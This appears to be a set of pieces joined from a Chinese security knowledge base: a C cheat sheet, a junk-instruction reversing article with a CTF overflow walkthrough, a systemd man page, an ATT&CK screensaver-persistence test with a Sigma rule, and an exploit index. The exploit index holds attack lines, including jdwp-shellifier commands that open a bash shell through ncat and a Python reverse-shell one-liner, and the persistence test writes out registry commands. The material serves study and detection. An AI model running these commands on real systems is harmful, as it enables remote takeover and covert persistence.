| `%ld` | | Hexadecimal | `%hx` /`%hX` | `%x` /`%X` | `%lx` /`%lX` | ### Data format example ```c int myNum = 5; float myFloatNum = 5.99; // floating point number char myLetter = 'D'; // string // print output variables printf("%d\n", myNum); printf("%f\n", myFloatNum); printf("%c\n", myLetter); ``` C Preprocessor --- ### Preprocessor Directives {.row-span-2} command | description ----| ---- `#define` | define a macro `#include` | include a source code file `#undef` | undefined macro `#ifdef` | Returns true if the macro is defined `#ifndef` | Returns true if the macro is not defined `#if` | Compile the following code if the given condition is true `#else` | Alternative to `#if` `#elif` | If the `#if` condition is false, the current condition is `true` `#endif` | End a `#if...#else` conditional compilation block `#error` | Print an error message when standard error is encountered `#pragma` | Issue special commands to the compiler using the standardized method ```c // replace all MAX_ARRAY_LENGTH with 20 #define MAX_ARRAY_LENGTH 20 // Get stdio.h from the system library #include <stdio.h> // Get myheader.h in the local directory #include "myheader.h" #undef FILE_SIZE #define FILE_SIZE 42 // undefine and define to 42 ``` ### Predefined macros {.row-span-2} macro | description ----| ---- `__DATE__` | The current date, a character constant in the format "MMM DD YYYY" `__TIME__` | The current time, a character constant in the format "HH:MM:SS" `__FILE__` | This will contain the current filename, a string constant `__LINE__` | This will contain the current line number, a decimal constant `__STDC__` | Defined as `1` when the compiler compiles against the `ANSI` standard <!--rehype:className=style-list--> `ANSI C` defines a number of macros that you can use, but you cannot directly modify these predefined macros #### Predefined macro example ```c #include <stdio.h> int main() { printf("File :%s\n", __FILE__); printf("Date :%s\n", __DATE__); printf("Time :%s\n", __TIME__); printf("Line :%d\n", __LINE__); printf("ANSI :%d\n", __STDC__); } ``` ### Macro continuation operator (\) A macro is usually written on a single line. ```c #define message_for(a, b) \ printf(#a " and " #b ": We love you!\n") ``` If the macro is too long to fit on a single line, use the macro continuation operator `\` ### String Constantization Operator (#) ```c #include <stdio.h> #define message_for(a, b) \ printf(#a " and " #b ": We love you!\n") int main(void) { message_for(Carole, Debra); return 0; } ``` When the above code is compiled and executed, it produces the following result: ``` Carole and Debra: We love you! ``` When you need to convert a macro parameter to a string constant, use the string constant operator `#` ### tag paste operator (##) ```c #include <stdio.h> #define tokenpaster(n) printf ("token" #n " = %d", token##n) int main(void) { int token34 = 40; tokenpaster(34); return 0; } ``` ### defined() operator ```c #include <stdio.h> #if !defined (MESSAGE) #define MESSAGE "You wish!" #endif int main(void) { printf("Here is the message: %s\n", MESSAGE); return 0; } ``` ### Parameterized macros ```c int square(int x) { return x * x; } ``` The macro rewrites the above code as follows: ```c #define square(x) ( (x) * (x) ) ``` No spaces are allowed between the macro name and the opening parenthesis ```c #include <stdio.h> #define MAX(x,y) ( (x) > (y) ? (x) : (y) ) int main(void) { printf("Max between 20 and 10 is %d\n", MAX(10, 20)); return 0; } ``` C Function ---- ### Function declaration and definition {.row-span-2} ```c int main(void) { printf("Hello World!"); return 0; } ``` The function consists of two parts ```c void myFunction() { // declaration declaration // function body (code to be executed) (definition) } ``` ---- - `Declaration` declares the function name, return type and parameters _(if any)_ - `Definition` function body _(code to execute)_ ---- ```c // function declaration void myFunction(); // main method int main() { myFunction(); // --> call the function return 0; } void myFunction() {// Function definition printf("Good evening!"); } ``` ### Call function ```c // create function void myFunction() { printf("Good evening!"); } int main() { myFunction(); // call the function myFunction(); // can be called multiple times return 0; } // Output -> "Good evening!" // Output -> "Good evening!" ``` ### Function parameters ```c void myFunction(char name[]) { printf("Hello %s\n", name); } int main() { myFunction("Liam"); myFunction("Jenny"); return 0; } // Hello Liam // Hello Jenny ``` ### Multiple parameters ```c void myFunction(char name[], int age) { printf("Hi %s, you are %d years old.\n",name,age); } int main() { myFunction("Liam", 3); myFunction("Jenny", 14); return 0; } // Hi Liam you are 3 years old. // Hi Jenny you are 14 years old. ``` ### Return value {.row-span-2} ```c int myFunction(int x) { return 5 + x; } int main() { printf("Result: %d", myFunction(3)); return 0; } // output 8 (5 + 3) ``` two parameters ```c int myFunction(int x, int y) { return x + y; } int main() { printf("Result: %d", myFunction(5, 3)); // store the result in a variable int result = myFunction(5, 3); printf("Result = %d", result); return 0; } // result: 8 (5 + 3) // result = 8 (5 + 3) ``` ### Recursive example ```c int sum(int k); int main() { int result = sum(10); printf("%d", result); return 0; } int sum(int k) { if (k > 0) { return k + sum(k -1); } else { return 0; } } ``` ### Mathematical functions ```c #include <math.h> void main(void) { printf("%f", sqrt(16)); // square root printf("%f", ceil(1.4)); // round up (round) printf("%f", floor(1.4)); // round up (round) printf("%f", pow(4, 3)); // x(4) to the power of y(3) } ``` ---- - `abs(x)` absolute value - `acos(x)` arc cosine value - `asin(x)` arc sine - `atan(x)` arc tangent - `cbrt(x)` cube root - `cos(x)` cosine - the value of `exp(x)` Ex - `sin(x)` the sine of x - tangent of `tan(x)` angle C Structures --- ### Create structure ```c struct MyStructure { // structure declaration int myNum; // member (int variable) char myLetter; // member (char variable) }; // end the structure with a semicolon ``` Create a struct variable called `s1` ```c{7} struct myStructure { int myNum; char myLetter; }; int main() { struct myStructure s1; return 0; } ``` ### Strings in the structure ```c{9} struct myStructure { int myNum; char myLetter; char myString[30]; // String }; int main() { struct myStructure s1; strcpy(s1. myString, "Some text"); // print value printf("my string: %s", s1.myString); return 0; } ``` Assigning values ​​to strings using the `strcpy` function ### Accessing structure members {.row-span-2} ```c{11,12,16} // create a structure called myStructure struct myStructure { int myNum; char myLetter; }; int main() { // Create a structure variable called myStructure called s1 struct myStructure s1; // Assign values ​​to the members of s1 s1.myNum = 13; s1.myLetter = 'B'; // Create a structure variable of myStructure called s2 // and assign it a value struct myStructure s2 = {13, 'B'}; // print value printf("My number: %d\n", s1.myNum); printf("My letter: %c\n", s1.myLetter); return 0; } ``` Create different structure variables ```c struct myStructure s1; struct myStructure s2; // Assign values ​​to different structure variables s1.myNum = 13; s1.myLetter = 'B'; s2.myNum = 20; s2.myLetter = 'C'; ``` ### Copy structure ```c{6} struct myStructure s1 = { 13, 'B', "Some text" }; struct myStructure s2; s2 = s1; ``` In the example, the value of `s1` is copied to `s2` ### Modify value ```c{6,7} // Create a struct variable and assign it a value struct myStructure s1 = { 13, 'B' }; // modify the value s1.myNum = 30; s1.myLetter = 'C'; // print value printf("%d %c %s", s1.myNum, s1.myLetter); ``` file processing --- ### File processing function function | description Description ----| ---- `fopen()` | `open` a new or existing file `fprintf()` | write data to `file` `fscanf()` | `read` data from a file `fputc()` | write a character to `file` `fgetc()` | `read` a character from a file `fclose()` | `close` the file `fseek()` | set the file pointer to `the given position` `fputw()` | Write an integer `to` a file `fgetw()` | `read` an integer from a file `ftell()` | returns the current `position` `rewind()` | set the file pointer to the beginning of the file There are many functions in the C library to `open`/`read`/`write`/`search` and `close` files ### Open mode parameter Mode Mode | Description Description ----| ---- `r` | Open a text file in `read` mode, allowing the file to be read `w` | Open a text file in `write` mode, allowing writing to the file `a` | Open a text file in `append` mode<br />If the file does not exist, a new one will be created `r+` | Open a text file in `read-write` mode, allowing reading and writing of the file `w+` | Open a text file in `read-write` mode, allowing reading and writing of the file `a+` | Open a text file in `read-write` mode, allowing reading and writing of the file `rb` | Open a binary file in `read` mode `wb` | Open binary file in `write` mode `ab` | Open a binary file in `append` mode `rb+` | open binary file in `read-write` mode `wb+` | Open binary file in `read-write` mode `ab+` | open binary file in `read-write` mode ### Open the file: fopen() ```c{6} #include <stdio.h> void main() { FILE *fp; char ch; fp = fopen("file_handle.c", "r"); while (1) { ch = fgetc(fp); if (ch == EOF) break; printf("%c", ch); } fclose(fp); } ``` After performing all operations on the file, the file must be closed with `fclose()` ### Write to file: fprintf() ```c{7} #include <stdio.h> void main() { FILE *fp; fp = fopen("file.txt", "w"); // open the file // write data to file fprintf(fp, "Hello file for fprintf..\n"); fclose(fp); // close the file } ``` ### Read the file: fscanf() ```c{6} #include <stdio.h> void main() { FILE *fp; char buff[255]; // Create a char array to store file data fp = fopen("file.txt", "r"); while(fscanf(fp, "%s", buff) != EOF) { printf("%s ", buff); } fclose(fp); } ``` ### Write to file: fputc() ```c{6} #include <stdio.h> void main() { FILE *fp; fp = fopen("file1.txt", "w"); // open the file fputc('a',fp); // write a single character to the file fclose(fp); // close the file } ``` ### Read the file: fgetc() ```c{8} #include <stdio.h> #include <conio.h> void main() { FILE *fp; char c; clrscr(); fp = fopen("myfile.txt", "r"); while( (c = fgetc(fp) ) != EOF) { printf("%c", c); } fclose(fp); getch(); } ``` ### Write to file: fputs() ```c {8} #include<stdio.h> #include<conio.h> void main() { FILE *fp; clrscr(); fp = fopen("myfile2.txt","w"); fputs("hello c programming",fp); fclose(fp); getch(); } ``` ### Read files: fgets() ```c {10} #include<stdio.h> #include<conio.h> void main() { FILE *fp; char text[300]; clrscr(); fp = fopen("myfile2.txt", "r"); printf("%s", fgets(text, 200, fp)); fclose(fp); getch(); } ``` ### fseek() ```c{8} #include <stdio.h> void main(void) { FILE *fp; fp = fopen("myfile.txt","w+"); fputs("This is Book", fp); // Set file pointer to the given position fseek(fp, 7, SEEK_SET); fputs("Kenny Wong", fp); fclose(fp); } ``` set the file pointer to the given position ### rewind() ```c{11} #include <stdio.h> #include <conio.h> void main() { FILE *fp; char c; clrscr(); fp = fopen("file.txt", "r"); while( (c = fgetc(fp) ) != EOF) { printf("%c", c); } rewind(fp); // move the file pointer to the beginning of the file while( (c = fgetc(fp) ) != EOF) { printf("%c", c); } fclose(fp); getch(); } // output // Hello World! Hello World! ``` ### ftell() ```c{11} #include <stdio.h> #include <conio.h> void main () { FILE *fp; int length; clrscr(); fp = fopen("file.txt", "r"); fseek(fp, 0, SEEK_END); length = ftell(fp); // return current position fclose(fp); printf("File size: %d bytes", length); getch(); } // output // file size: 18 bytes ```
sec-knowleage
# 花指令 ## 原理 花指令是企图隐藏掉不想被逆向工程的代码块(或其它功能)的一种方法, 在真实代码中插入一些垃圾代码的同时还保证原有程序的正确执行, 而程序无法很好地反编译, 难以理解程序内容, 达到混淆视听的效果. 花指令通常用于加大静态分析的难度。 ## 编写 最简单的花指令使用了内联汇编的方式进行,下面以 VC 添加花指令的方式举例,gnu 的编译器也可以采用类似的方式添加花指令,但是使用 AT&T 汇编: ```c // 正常的函数代码 int add(int a, int b){ int c = 0; c = a + b; return c; } // 添加花指令的函数代码 int add_with_junk(int a, int b){ int c = 0; __asm{ jz label; jnz label; _emit 0xe8; call 指令,后面加4bytes的地址偏移,因此导致反汇编器不能正常识别 label: } c = a + b; return c; } ``` 使用 ida 的反编译时,添加了花指令的函数不能正常识别,结果如下: 伪代码: ```asm // 添加了花指令 .text:00401070 loc_401070: ; CODE XREF: sub_401005↑j .text:00401070 push ebp .text:00401071 mov ebp, esp .text:00401073 sub esp, 44h .text:00401076 push ebx .text:00401077 push esi .text:00401078 push edi .text:00401079 lea edi, [ebp-44h] .text:0040107C mov ecx, 11h .text:00401081 mov eax, 0CCCCCCCCh .text:00401086 rep stosd .text:00401088 mov dword ptr [ebp-4], 0 .text:0040108F jz short near ptr loc_401093+1 .text:00401091 jnz short near ptr loc_401093+1 .text:00401093 .text:00401093 loc_401093: ; CODE XREF: .text:0040108F↑j .text:00401093 ; .text:00401091↑j .text:00401093 call near ptr 3485623h .text:00401098 inc ebp .text:00401099 or al, 89h .text:0040109B inc ebp .text:0040109C cld .text:0040109D mov eax, [ebp-4] .text:004010A0 pop edi .text:004010A1 pop esi .text:004010A2 pop ebx .text:004010A3 add esp, 44h .text:004010A6 cmp ebp, esp .text:004010A8 call __chkesp .text:004010AD mov esp, ebp .text:004010AF pop ebp .text:004010B0 retn ``` 在上面这个例子中,把混淆视听的花指令 patch 成 nop 即可修复,然后正常分析。 值得注意的是,ida 对于栈的判定比较严格,因此 push,ret 一类的花指令会干扰反汇编器的正常运行,下面给出一个具体的例子,读者可以自己编译复现: ```c++ #include <stdio.h> // 使用 gcc/g++ 进行编译 int main(){ __asm__(".byte 0x55;"); // push rbp 保存栈 __asm__(".byte 0xe8,0,0,0,0;"); // call $5; __asm__(".byte 0x5d;"); // pop rbp -> 获取rip的值 __asm__(".byte 0x48,0x83,0xc5,0x08;"); // add rbp, 8 __asm__(".byte 0x55;"); // push rbp -> 相当于将call的返回值修改到下面去 __asm__("ret;"); __asm__(".byte 0xe8;"); // 这是混淆指令不执行 __asm__(".byte 0x5d;"); // pop rbp 还原栈 printf("whoami \n"); return 0; } ``` ## 例题 这里以`看雪.TSRC 2017CTF秋季赛`第二题作为讲解. 题目下载链接: [ctf2017_Fpc.exe](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/anti-debug/2017_pediy/ctf2017_Fpc.exe) 程序写了几个函数混淆视听, 将关键的验证逻辑加花指令防止了IDA的静态分析. 我们用IDA打开Fpc这道题, 程序会先打印一些提示信息, 然后获取用户的输入. 这里使用了不安全的`scanf`函数, 用户输入的缓冲区只有`0xCh`长, 我们双击`v1`进入栈帧视图 因此我们可以通过溢出数据, 覆盖掉返回地址, 从而转移到任意地址继续执行. 这里我还需要解释一下, 就是`scanf`之前写的几个混淆视听的函数, 是一些简单的方程式但实际上是无解的. 程序将真正的验证逻辑加花混淆, 导致IDA无法很好的进行反编译. 所以我们这道题的思路就是, 通过溢出转到真正的验证代码处继续执行. 我们在分析时可以在代码不远处发现以下数据块. 因为IDA没能很好的识别数据, 因此我们可以将光标移到数据块的起始位置, 然后按下`C`键(code)将这块数据反汇编成代码 值得注意的是, 这段代码的位置是`0x00413131`, `0x41`是`'A'`的ascii码,而`0x31`是`'1'`的ascii码. 由于看雪比赛的限制, 用户输入只能是字母和数字, 所以我们也完全可以利用溢出漏洞执行这段代码 用OD打开, 然后`Ctrl+G`到达`0x413131`处设下断点, 运行后输入`12345612345611A`回车, 程序成功地到达`0x00413131`处. 然后`右键分析->从模块中删除分析`识别出正确代码 断在`0x413131`处后, 点击菜单栏的`"查看"`, 选择`"RUN跟踪"`, 然后再点击`"调试"`, 选择`"跟踪步入"`, 程序会记录这段花指令执行的过程, 如下图所示: 这段花指令本来很长, 但是使用OD的跟踪功能后, 花指令的执行流程就非常清楚. 整个过程中进行了大量的跳转, 我们只要取其中的有效指令拿出来分析即可. 需要注意的是, 在有效指令中, 我们依旧要满足一些条件跳转, 这样程序才能在正确的逻辑上一直执行下去. 比如`0x413420`处的`jnz ctf2017_.00413B03`. 我们就要重新来过, 并在`0x413420`设下断点 通过修改标志寄存器来满足跳转. 继续跟踪步入(之后还有`0041362E jnz ctf2017_.00413B03`需要满足). 保证逻辑正确后, 将有效指令取出继续分析就好了
sec-knowleage
'\" t .TH "MACHINE\-INFO" "5" "" "systemd 231" "machine-info" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" machine-info \- 本机信息文件 .SH "SYNOPSIS" .PP /etc/machine\-info .SH "描述" .PP /etc/machine\-info 文件包含了本机的元数据 .PP machine\-info 文件的基本格式 是一系列换行符分隔的 VAR=VALUE 行(每行一个变量), 可以直接嵌入到 shell 脚本中使用。 注意,此文件并不支持变量替换之类的任何高级 shell 特性, 以便于应用程序无须支持这些高级 shell 特性 即可直接使用此文件。 .PP /etc/machine\-info 包含了 由系统管理员设置的本机元数据 .PP 在某些发行版上,如果该文件不存在, 可能还会到其他位置去寻找。 这取决于个别发行版自己的设置。 .PP 可以使用 \fBhostnamectl\fR(1) 设置此文件的内容。 .SH "选项" .PP 可以在 /etc/machine\-info 中使用下列机器元数据字段: .PP \fIPRETTY_HOSTNAME=\fR .RS 4 适合人类阅读的、标识性的机器名称, 例如"Lennart\*(Aqs Laptop", 必须是UTF\-8编码。 该名称应该尽可能与 /etc/hostname 中配置的主机名保持相似。例如, "Lennart\*(Aqs Computer"(/etc/machine\-info)就是一个与 "lennarts\-computer"(/etc/hostname)匹配的好例子。 如果未设置此字段, 那么应用程序应该使用主机名的值(一般就是 /etc/hostname 中的值)。 .RE .PP \fIICON_NAME=\fR .RS 4 用于这台机器的图标名称(遵守 \m[blue]\fBXDG Icon Naming Specification\fR\m[]\&\s-2\u[1]\d\s+2 规范)。如果未设置此字段, 那么应用程序应该使用 "computer" 之类的图标名。 .RE .PP \fICHASSIS=\fR .RS 4 设置此机器的设备类型, 可用的值及其含义如下: "desktop"(台式机), "laptop"(笔记本), "server"(服务器), "tablet"(平板电脑), "handset"(智能手机), "watch"(智能手表), "embedded"(嵌入式设备), "vm"(虚拟机), "container"(容器)。 某些图形界面的应用程序 会根据此设置 切换到合适的人机界面之类。 如果未设置此字段, 那么应用程序 可以根据主板固件中的信息 自动检测设备类型。 .RE .PP \fIDEPLOYMENT=\fR .RS 4 设置此机器的部署环境。 建议设为下列单词中的一个: "development"(开发), "integration"(综合), "staging"(阶段), "production"(生产) .RE .PP \fILOCATION=\fR .RS 4 设置此机器的地理位置。 必须设为一个人类易读字符串, 准确的描述出主机所在的物理位置。 例如:"XX数据中心3楼E23机柜U7" .RE .SH "例子" .sp .if n \{\ .RS 4 .\} .nf PRETTY_HOSTNAME="Lennart\*(Aqs Tablet" ICON_NAME=computer\-tablet CHASSIS=tablet DEPLOYMENT=production .fi .if n \{\ .RE .\} .SH "参见" .PP \fBsystemd\fR(1), \fBos-release\fR(5), \fBhostname\fR(5), \fBmachine-id\fR(5), \fBhostnamectl\fR(1), \fBsystemd-hostnamed.service\fR(8) .SH "NOTES" .IP " 1." 4 XDG Icon Naming Specification .RS 4 \%http://standards.freedesktop.org/icon-naming-spec/icon-naming-spec-latest.html .RE .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
# T1546-002-win-事件触发执行-屏幕保护程序 ## 来自ATT&CK描述 攻击者可以通过执行由用户不活动引发的恶意内容来建立持久性。屏幕保护程序是在用户不活动的可配置时间后执行的程序,由扩展名为.scr的便携式可执行文件(PE)组成。Windows屏幕保护程序scrnsave.scr位于C:\Windows\System32\,在64位Windows系统上位于C:\Windows\sysWOW64\,与基本Windows安装中的屏幕保护程序一起。 以下屏幕保护程序设置存储在注册表 ( `HKCU\Control Panel\Desktop\`) 中,可以通过操作来实现持久性: - `SCRNSAVE.exe` -设置为恶意PE路径 - `ScreenSaveActive` -设置为“1”以启用屏幕保护程序 - `ScreenSaverIsSecure` -设置为“0”不需要密码解锁 - `ScreenSaveTimeout` -在执行屏幕保护程序之前设置用户不活动超时 攻击者可以使用屏幕保护程序设置来保持持久性,方法是将屏幕保护程序设置为在用户不活动的特定时间范围内运行恶意软件。 ## 测试案例 ### 测试1 Set Arbitrary Binary as Screensaver 该测试将一个二进制文件复制到Windows System32文件夹中,并将其设置为屏幕保护程序,因此它执行后会建立持久性。需要重新启动和登录。 测试命令,用命令提示符运行,需要admin/root权限: ``` copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr" reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f shutdown /r /t 0 ``` input_binary:C:\Windows\System32\cmd.exe ## 检测日志 Windows Sysmon日志 ## 测试复现 ### 测试1 Set Arbitrary Binary as Screensaver ``` copy C:\Windows\System32\cmd.exe "%SystemRoot%\System32\evilscreensaver.scr" reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f shutdown /r /t 0 ``` ## 测试留痕 ### 测试1 Set Arbitrary Binary as Screensaver ``` Process Create: RuleName: technique_id=T1112,technique_name=Modify Registry UtcTime: 2022-01-11 13:14:16.334 ProcessGuid: {78c84c47-82a8-61dd-5928-000000000800} ProcessId: 5496 Image: C:\Windows\System32\reg.exe FileVersion: 10.0.17763.1 (WinBuild.160101.0800) Description: Registry Console Tool Product: Microsoft® Operating System Company: Microsoft Corporation OriginalFileName: reg.exe CommandLine: reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Windows\System32\evilscreensaver.scr" /f CurrentDirectory: C:\Users\Administrator.ZHULI\ User: ZHULI\Administrator LogonGuid: {78c84c47-f665-61db-95da-440100000000} LogonId: 0x144DA95 TerminalSessionId: 3 IntegrityLevel: High Hashes: SHA1=429DF8371B437209D79DC97978C33157D1A71C4B,MD5=8A93ACAC33151793F8D52000071C0B06,SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC ParentProcessGuid: {78c84c47-7dc0-61dd-a227-000000000800} ParentProcessId: 5028 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" ParentUser: ZHULI\Administrator ``` ## 检测规则/思路 ### Sigma规则 ``` title: 更改屏幕保护程序实现持久化 status: experimental references: - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1546.002/T1546.007.md date: 2022-01-11 tags: - attack.t1546-002 author: 12306Br0 logsource: product: windows service: sysmon detection: selection_registry: EventID: 1 #进程创建 CommandLine:'HKEY_CURRENT_USER\Control Panel\Desktop' condition: selection level: medium ``` 或许,通过Windows安全日志对注册表修改行为进行检测,效果会更好! ### 建议 监控.scr文件的进程执行和命令行参数。监控注册表中可能与典型用户行为不相关的屏幕保护程序配置更改。 Sysinternals Autoruns等工具可用于检测注册表中屏幕保护程序二进制路径的更改。可疑路径和PE文件可能表明网络中的合法屏幕保护程序存在异常值,应进行调查。 ## 参考推荐 MITRE-ATT&CK-T1546-002 <https://attack.mitre.org/techniques/T1546/002> Atomic-red-team-T1546-002 <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.002/T1546.002.md>
sec-knowleage
# C/S - Exploits --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **[运维](#运维)** * [Jmeter](#jmeter) * **[编程语言](#编程语言)** * [Java](#java) * [Python](#python) * [Ruby](#ruby) * **[远程服务](#远程服务)** * [Aria2](#aria2) * [Shadowsocks](#shadowsocks) * **[文件服务](#文件服务)** * [FTP](#ftp) * [NFS](#nfs) * [Rsync](#rsync) * [Samba](#samba) * **[数据库](#数据库)** * [CouchDB](#couchdb) * [InfluxDB](#influxdb) * [memcached](#memcached) * [MSSQL](#mssql) * [MongoDB](#mongodb) * [Mysql](#mysql) * [oracle](#oracle) * [OrientDB](#orientdb) * [PostgreSQL](#postgresql) * [Redis](#redis) * **[容器 & 虚拟化](#容器--虚拟化)** * [Citrix](#citrix) * [Citrix Receiver](#citrix-receiver) * [XenMobile](#xenmobile) * [Docker](#docker) * [由系统漏洞引起](#由系统漏洞引起) * [由配置不当引起](#由配置不当引起) * [容器服务缺陷引起](#容器服务缺陷引起) * [Kubernetes](#kubernetes) * [VMware](#vmware) * [VMware vCenter](#vmware-vcenter) * [VMWare ESXi](#vmware-esxi) * [VMware View Planner](#vmware-view-planner) * [VMware vRealize Operations Manager](#vmware-vrealize-operations-manager) * [VMware Workspace ONE Access](#vmware-workspace-one-access) * **[分布式](#分布式)** * [Hadoop](#hadoop) * [Spark](#spark) * [ZooKeeper](#zookeeper) * **[组态软件](#组态软件)** * [WebAccess](#webaccess) --- **资源** - [theLSA/CS-checklist](https://github.com/theLSA/CS-checklist) --- ## 运维 ### Jmeter > fofa : title=="Apache JMeter Dashboard" Apache JMeter 是美国阿帕奇(Apache)软件基金会的一套使用 Java 语言编写的用于压力测试和性能测试的开源软件。 **CVE-2018-1297 Jmeter RMI 反序列化命令执行漏洞** - 描述 Apache JMeter 2.x 版本和 3.x 版本中存在安全漏洞。攻击者可利用该漏洞获取 JMeterEngine 的访问权限并发送未授权的代码。 - POC | Payload | exp - https://vulhub.org/#/environments/jmeter/CVE-2018-1297/ --- ## 编程语言 ### Java #### RMI > Fofa: app="Oracle-JAVA-RMI" > fofa: protocol="java-rmi" **描述** Java RMI, 即 远程方法调用(Remote Method Invocation), 一种用于实现远程过程调用(RPC)(Remote procedure call)的 Java API, 能直接传输序列化后的 Java 对象和分布式垃圾收集 通常开放在 1090 1099 等端口, 由于直接传输 java 对象, 可能存在远程代码执行. **指纹** - `rmiregistry` **相关文章** - [Java RMI 反序列化漏洞检测工具的编写](https://www.anquanke.com/post/id/85681) - [JAVA反序列化之 Rmi命令执行漏洞分析](https://www.freebuf.com/column/200796.html) - [JAVA RMI 反序列化远程命令执行漏洞](https://blog.csdn.net/LeeHDsniper/article/details/71599504) **相关工具** - [frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.](https://github.com/frohoff/ysoserial) - [A-D-Team/attackRmi](https://github.com/A-D-Team/attackRmi) #### jdwp **描述** JDWP 是 Java Debug Wire Protocol 的缩写,在 JPDA(Java Platform Debugger Architecture)中,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。 与 PHP 的 Xdebug 类似,当其调试端口直接开放在公网上时,很容易被攻击者攻击并且获取系统权限。 **指纹** - `JDWP-Handshake` ``` telnet 端口后,输入命令 JDWP-Handshake 如果返回 JDWP-Handshake,证明存在漏洞。 ``` ``` jdb -attach IP:PORT ``` **相关文章** - [JDWP无依赖攻击](https://xz.aliyun.com/t/7303) - [浅析常见Debug调试器的安全隐患](https://security.tencent.com/index.php/blog/msg/137) - [jdwp远程调试与安全](https://qsli.github.io/2018/08/12/jdwp/) - [jdwp命令执行](https://blog.csdn.net/caiqiiqi/article/details/83146415) - [某大厂红队评估_之_JDWP打点](https://mp.weixin.qq.com/s/PPyXTdqWP1OAHYnYL9CScQ) **相关工具** - [IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) ``` jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'touch /tmp/pwnd' jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'rm -f /var/run/yum.pid' jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'yum install -y nc' jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'ncat -v -l -p 7777 -e /bin/bash' jdwp-shellifier.py -t xx.xx.xx.xx -p 8000 --break-on java.lang.String.indexOf --cmd "bash -c {echo, bash64的payload } | {base64,-d} | {bash,-i}" ``` - [Lz1y/jdwp-shellifier](https://github.com/Lz1y/jdwp-shellifier) - 修改利用方式为通过对 Sleeping 的线程发送单步执行事件,达成断点,从而可以直接获取上下文、执行命令,而不用等待断点被击中。 #### jmx **相关文章** - [梦游一次从jmx到rce](https://y4er.com/posts/from-jmx-to-rce/) --- ### Python **Python_PDB** - 相关文章 - [浅析常见Debug调试器的安全隐患](https://security.tencent.com/index.php/blog/msg/137) - [Python调试之RPDB工具](https://blog.woodcoding.com/python/2019/02/21/python-debug-tools-rpdb/) - POC | Payload | exp ``` telnet xxx.xxx.xxx.xxx 4444 1 w !1+1 !import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` **Python PIL 远程命令执行漏洞(GhostButt)** - 描述 Python 中处理图片的模块 PIL(Pillow),因为其内部调用了 GhostScript 而受到 GhostButt 漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。 - 相关文章 - [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/) - [GhostButt - CVE-2017-8291利用分析](https://paper.seebug.org/310/) - POC | Payload | exp - [Python PIL 远程命令执行漏洞(GhostButt)](https://vulhub.org/#/environments/python/PIL-CVE-2017-8291/) - (未复现成功) - [vulhub/python/PIL-CVE-2017-8291/poc.png](https://github.com/vulhub/vulhub/blob/master/python/PIL-CVE-2017-8291/poc.png) **Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509** - 描述 Google Project Zero 的 Tavis Ormandy 在 Ghostscript 中发现了一堆漏洞,其中一个是 CVE-2018-16509,这个漏洞允许利用 v9.24 之前的 Ghostscript 中的 -dSAFER 旁路,通过处理 PostScript 中失败的还原(grestore)来禁用 LockSafetyParams 